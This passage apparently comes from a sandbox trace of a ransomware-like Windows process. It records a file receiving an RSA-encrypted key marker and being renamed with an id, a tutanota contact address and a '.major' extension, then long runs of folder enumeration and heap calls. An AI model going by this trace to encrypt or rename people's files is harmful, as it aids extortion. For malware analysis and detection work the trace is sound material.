pszString="xnQdrxyPEHxv+e8ZcCL4fiCjsib7kFCQeOidmrTVIB2BrrSobtn4EVH4lMW1b1rG\nKrlB9gcfJ7fmUYy5GICTnKOkklpYappjFlLsl6pbxMydKOoETmtav0hm/qZjhF8N\nC9VJDcxMkRv1bvm/5sE1HSvCCH6J3Xy90f63o2d9QPhGm/g3mMUnM4wo7CVBxYDn\nF1eG8Wo6kj0FimlxEcaKO2TiT3hpN6h5J6ogu4T8vOHaxJSGrfd01UJlnTZKE1XQ\nuWP0k4uLzcCKp8Y1aKsY/tH6rFWlVU/M4/4b+D4nzYrBrT8xwkZCY/d2OUIfjPFS\nCpTGh6Lif/hyl60ovkryLw==\n", pcchString=0x2e3f9a8) returned 1 [0201.238] WriteFile (in: hFile=0x1198, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0201.238] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0201.238] WriteFile (in: hFile=0x1198, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0201.238] CloseHandle (hObject=0x1198) returned 1 [0201.238] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a8108 | out: hHeap=0x570000) returned 1 [0201.238] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Photos_8wekyb3d8bbwe\\Settings\\roaming.lock" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.photos_8wekyb3d8bbwe\\settings\\roaming.lock"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Photos_8wekyb3d8bbwe\\Settings\\roaming.lock.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.photos_8wekyb3d8bbwe\\settings\\roaming.lock.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0201.247] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bd3b8 | out: hHeap=0x570000) returned 1 [0201.248] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee9128 | out: hHeap=0x570000) returned 1 [0201.248] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x669088 | out: hHeap=0x570000) returned 1 [0201.248] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x65e480 | out: hHeap=0x570000) returned 1 [0201.248] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x2ee8568 [0201.248] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x610090 | out: hHeap=0x570000) returned 1 [0201.248] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x665278 | out: hHeap=0x570000) returned 1 [0201.248] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x66b040 | out: hHeap=0x570000) returned 1 [0201.248] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Photos_8wekyb3d8bbwe\\SystemAppData\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xec8930d8, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xec8930d8, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x30f200f9, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2ee5748 [0201.248] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b4f18 | out: hHeap=0x570000) returned 1 [0201.248] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a4460 [0201.248] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x2f8ace8 [0201.248] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4460 | out: hHeap=0x570000) returned 1 [0201.248] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x2ee72a8 [0201.248] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8ace8 | out: hHeap=0x570000) returned 1 [0201.248] GetLastError () returned 0x0 [0201.249] GetLastError () returned 0x0 [0201.249] GetLastError () returned 0x0 [0201.249] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5be738 | out: hHeap=0x570000) returned 1 [0201.249] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2ee9380 [0201.249] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x2ee53c8 [0201.249] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee53c8 | out: hHeap=0x570000) returned 1 [0201.249] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e405b8 [0201.249] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e405b8 | out: hHeap=0x570000) returned 1 [0201.249] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee9380 | out: hHeap=0x570000) returned 1 [0201.249] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c40b8 | out: hHeap=0x570000) returned 1 [0201.249] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee72a8 | out: hHeap=0x570000) returned 1 [0201.249] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a4460 [0201.249] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x2f8adf8 [0201.249] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4460 | out: hHeap=0x570000) returned 1 [0201.249] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x2ee79b0 [0201.249] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8adf8 | out: hHeap=0x570000) returned 1 [0201.249] GetLastError () returned 0x0 [0201.249] GetLastError () returned 0x0 [0201.249] GetLastError () returned 0x0 [0201.249] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5be7e8 | out: hHeap=0x570000) returned 1 [0201.249] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2ee9308 [0201.250] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x2ee56c8 [0201.250] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee56c8 | out: hHeap=0x570000) returned 1 [0201.250] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e40630 [0201.250] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40630 | out: hHeap=0x570000) returned 1 [0201.250] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee9308 | out: hHeap=0x570000) returned 1 [0201.250] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c40f0 | out: hHeap=0x570000) returned 1 [0201.250] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee79b0 | out: hHeap=0x570000) returned 1 [0201.250] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a4778 [0201.250] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x2f8b4e0 [0201.250] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4778 | out: hHeap=0x570000) returned 1 [0201.250] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x2ee8310 [0201.250] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8b4e0 | out: hHeap=0x570000) returned 1 [0201.250] GetLastError () returned 0x0 [0201.250] GetLastError () returned 0x0 [0201.250] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee8310 | out: hHeap=0x570000) returned 1 [0201.250] GetLastError () returned 0x0 [0201.250] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee9178 | out: hHeap=0x570000) returned 1 [0201.250] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee8568 | out: hHeap=0x570000) returned 1 [0201.250] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6665a0 | out: hHeap=0x570000) returned 1 [0201.250] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x66afc8 | out: hHeap=0x570000) returned 1 [0201.250] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Photos_8wekyb3d8bbwe\\TempState\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1fcdfb62, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x36142cad, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x30f200f9, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2ee5308 [0201.251] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b4f18 | out: hHeap=0x570000) returned 1 [0201.251] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a4460 [0201.251] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x2f8af90 [0201.251] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4460 | out: hHeap=0x570000) returned 1 [0201.251] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x2ee79b0 [0201.251] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8af90 | out: hHeap=0x570000) returned 1 [0201.251] GetLastError () returned 0x12 [0201.251] GetLastError () returned 0x12 [0201.251] GetLastError () returned 0x12 [0201.251] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5be478 | out: hHeap=0x570000) returned 1 [0201.251] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2ee9380 [0201.251] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x2ee5048 [0201.251] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee5048 | out: hHeap=0x570000) returned 1 [0201.251] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e40540 [0201.251] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40540 | out: hHeap=0x570000) returned 1 [0201.251] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee9380 | out: hHeap=0x570000) returned 1 [0201.251] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c4128 | out: hHeap=0x570000) returned 1 [0201.251] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee79b0 | out: hHeap=0x570000) returned 1 [0201.251] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a4778 [0201.251] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x2f8aa40 [0201.251] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4778 | out: hHeap=0x570000) returned 1 [0201.252] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x2ee72a8 [0201.252] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8aa40 | out: hHeap=0x570000) returned 1 [0201.252] GetLastError () returned 0x12 [0201.252] GetLastError () returned 0x12 [0201.252] GetLastError () returned 0x12 [0201.252] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5be420 | out: hHeap=0x570000) returned 1 [0201.252] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2ee9128 [0201.252] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x2ee5508 [0201.252] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee5508 | out: hHeap=0x570000) returned 1 [0201.252] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e40408 [0201.252] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40408 | out: hHeap=0x570000) returned 1 [0201.252] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee9128 | out: hHeap=0x570000) returned 1 [0201.252] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c40b8 | out: hHeap=0x570000) returned 1 [0201.252] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee72a8 | out: hHeap=0x570000) returned 1 [0201.252] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a44f0 [0201.252] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x2f8aa40 [0201.252] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a44f0 | out: hHeap=0x570000) returned 1 [0201.252] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x2ee8568 [0201.252] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8aa40 | out: hHeap=0x570000) returned 1 [0201.252] GetLastError () returned 0x12 [0201.252] GetLastError () returned 0x12 [0201.252] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee8568 | out: hHeap=0x570000) returned 1 [0201.252] GetLastError () returned 0x12 [0201.253] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee9308 | out: hHeap=0x570000) returned 1 [0201.253] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x610090 | out: hHeap=0x570000) returned 1 [0201.253] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x667570 | out: hHeap=0x570000) returned 1 [0201.253] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x66acd0 | out: hHeap=0x570000) returned 1 [0201.253] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.SecHealthUI_cw5n1h2txyewy\\AC\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x726dcc78, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x726dcc78, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x30f93c50, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2ee5288 [0201.253] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b4f18 | out: hHeap=0x570000) returned 1 [0201.253] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a4460 [0201.253] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x2f8b238 [0201.253] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4460 | out: hHeap=0x570000) returned 1 [0201.253] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x2ee72a8 [0201.253] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8b238 | out: hHeap=0x570000) returned 1 [0201.253] GetLastError () returned 0x12 [0201.253] GetLastError () returned 0x12 [0201.253] GetLastError () returned 0x12 [0201.253] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5be688 | out: hHeap=0x570000) returned 1 [0201.253] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2ee90d8 [0201.253] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x2ee5648 [0201.253] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee5648 | out: hHeap=0x570000) returned 1 [0201.253] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e40528 [0201.253] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40528 | out: hHeap=0x570000) returned 1 [0201.254] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee90d8 | out: hHeap=0x570000) returned 1 [0201.254] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c4438 | out: hHeap=0x570000) returned 1 [0201.254] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee72a8 | out: hHeap=0x570000) returned 1 [0201.254] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a4460 [0201.254] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x2f8b018 [0201.254] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4460 | out: hHeap=0x570000) returned 1 [0201.254] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x2ee8568 [0201.254] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8b018 | out: hHeap=0x570000) returned 1 [0201.254] GetLastError () returned 0x12 [0201.254] GetLastError () returned 0x12 [0201.254] GetLastError () returned 0x12 [0201.254] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5be9f8 | out: hHeap=0x570000) returned 1 [0201.254] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2ee9358 [0201.254] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x2ee52c8 [0201.254] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee52c8 | out: hHeap=0x570000) returned 1 [0201.254] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e404b0 [0201.254] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e404b0 | out: hHeap=0x570000) returned 1 [0201.254] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee9358 | out: hHeap=0x570000) returned 1 [0201.254] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c4438 | out: hHeap=0x570000) returned 1 [0201.254] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee8568 | out: hHeap=0x570000) returned 1 [0201.254] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a46a0 [0201.254] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x2f8b678 [0201.254] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a46a0 | out: hHeap=0x570000) returned 1 [0201.254] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x2ee72a8 [0201.255] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8b678 | out: hHeap=0x570000) returned 1 [0201.255] GetLastError () returned 0x12 [0201.255] GetLastError () returned 0x12 [0201.255] GetLastError () returned 0x12 [0201.255] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee90d8 | out: hHeap=0x570000) returned 1 [0201.255] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee9358 | out: hHeap=0x570000) returned 1 [0201.255] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x2ee7438 [0201.255] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2ee9128 [0201.255] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x2ee8310 [0201.255] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d2d0 [0201.255] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4460 | out: hHeap=0x570000) returned 1 [0201.255] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x2ee7e60 [0201.255] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8aac8 | out: hHeap=0x570000) returned 1 [0201.255] GetLastError () returned 0x12 [0201.255] GetLastError () returned 0x12 [0201.255] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee7e60 | out: hHeap=0x570000) returned 1 [0201.255] GetLastError () returned 0x12 [0201.257] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x662330 | out: hHeap=0x570000) returned 1 [0201.257] WriteFile (in: hFile=0x11a4, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0201.258] CloseHandle (hObject=0x11a4) returned 1 [0201.259] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b4f18 | out: hHeap=0x570000) returned 1 [0201.259] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d210 | out: hHeap=0x570000) returned 1 [0201.259] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d2d0 | out: hHeap=0x570000) returned 1 [0201.259] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee8310 | out: hHeap=0x570000) returned 1 [0201.259] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee72a8 | out: hHeap=0x570000) returned 1 [0201.259] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a4460 [0201.259] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x2f8b788 [0201.259] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4460 | out: hHeap=0x570000) returned 1 [0201.259] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x2ee79b0 [0201.259] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8b788 | out: hHeap=0x570000) returned 1 [0201.259] GetLastError () returned 0x0 [0201.259] GetLastError () returned 0x0 [0201.259] GetLastError () returned 0x0 [0201.259] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee90d8 | out: hHeap=0x570000) returned 1 [0201.259] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee9150 | out: hHeap=0x570000) returned 1 [0201.259] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x2ee8310 [0201.259] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2ee9290 [0201.259] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x2ee7a78 [0201.259] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d390 [0201.259] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4460 | out: hHeap=0x570000) returned 1 [0201.259] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x2ee7ff0 [0201.259] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8b700 | out: hHeap=0x570000) returned 1 [0201.259] GetLastError () returned 0x0 [0201.260] GetLastError () returned 0x0 [0201.260] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee7ff0 | out: hHeap=0x570000) returned 1 [0201.260] GetLastError () returned 0x0 [0201.260] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x661cd8 | out: hHeap=0x570000) returned 1 [0201.260] WriteFile (in: hFile=0x11a4, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0201.261] CloseHandle (hObject=0x11a4) returned 1 [0201.261] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b4f18 | out: hHeap=0x570000) returned 1 [0201.261] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d2f0 | out: hHeap=0x570000) returned 1 [0201.261] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d390 | out: hHeap=0x570000) returned 1 [0201.262] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee7a78 | out: hHeap=0x570000) returned 1 [0201.262] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee79b0 | out: hHeap=0x570000) returned 1 [0201.262] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a4460 [0201.262] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x2f8aac8 [0201.262] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4460 | out: hHeap=0x570000) returned 1 [0201.262] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x2ee7c08 [0201.262] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8aac8 | out: hHeap=0x570000) returned 1 [0201.262] GetLastError () returned 0x0 [0201.262] GetLastError () returned 0x0 [0201.262] GetLastError () returned 0x0 [0201.262] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee90d8 | out: hHeap=0x570000) returned 1 [0201.262] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee9150 | out: hHeap=0x570000) returned 1 [0201.262] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x2ee79b0 [0201.262] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2ee9358 [0201.262] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x2ee7a78 [0201.262] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d210 [0201.262] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a46a0 | out: hHeap=0x570000) returned 1 [0201.262] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x2ee8568 [0201.262] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8b568 | out: hHeap=0x570000) returned 1 [0201.262] GetLastError () returned 0x0 [0201.262] GetLastError () returned 0x0 [0201.262] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee8568 | out: hHeap=0x570000) returned 1 [0201.262] GetLastError () returned 0x0 [0201.263] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6631b0 | out: hHeap=0x570000) returned 1 [0201.263] WriteFile (in: hFile=0x11a4, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0201.264] CloseHandle (hObject=0x11a4) returned 1 [0201.264] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b4f18 | out: hHeap=0x570000) returned 1 [0201.264] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d1c0 | out: hHeap=0x570000) returned 1 [0201.264] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d210 | out: hHeap=0x570000) returned 1 [0201.264] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee7a78 | out: hHeap=0x570000) returned 1 [0201.264] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee7c08 | out: hHeap=0x570000) returned 1 [0201.264] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a4808 [0201.265] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x2f8b678 [0201.265] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4808 | out: hHeap=0x570000) returned 1 [0201.265] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x2ee72a8 [0201.265] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8b678 | out: hHeap=0x570000) returned 1 [0201.265] GetLastError () returned 0x0 [0201.265] GetLastError () returned 0x0 [0201.265] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee72a8 | out: hHeap=0x570000) returned 1 [0201.265] GetLastError () returned 0x0 [0201.265] HeapFree (in: hHeap=0x570000, 